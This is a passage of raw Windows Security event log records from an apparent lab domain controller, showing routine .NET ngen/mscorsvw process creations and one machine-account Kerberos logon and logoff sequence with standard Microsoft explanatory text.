user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254715 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 4a8 -Pipe 478 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254714 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 41c -Pipe 48c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254713 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12d8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4b0 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 7a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254712 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x47c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 6c0 -Pipe 704 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254711 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1090 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4b4 -InterruptEvent 0 -NGENProcess 680 -Pipe 4bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254724 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1018 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 470 -InterruptEvent 0 -NGENProcess 488 -Pipe 404 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254723 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1AC62B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:05:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254722 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1AC62B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62490 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:05:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254721 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1AC62B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:05:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254720 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 49c -InterruptEvent 0 -NGENProcess 420 -Pipe 4c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254719 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1200 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 41c -InterruptEvent 0 -NGENProcess 470 -Pipe 5a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254718 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x119c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 494 -InterruptEvent 0 -NGENProcess 404 -Pipe 450 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254717 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe00 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 450 -InterruptEvent 0 -NGENProcess 494 -Pipe 4a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254716 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4a8 -InterruptEvent 0 -NGENProcess 450 -Pipe 724 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254725 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe" RemoveTaskBootTrigger /LegacyServiceBehavior - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254727 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1d8 -InterruptEvent 0 -NGENProcess 250 -Pipe 1dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254726 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd10 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 1dc -Pipe 1e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254728 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1380 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 264 -InterruptEvent 0 -NGENProcess 1d8 -Pipe 218 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254729 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 288 -InterruptEvent 0 -NGENProcess 280 -Pipe 284 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254730 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 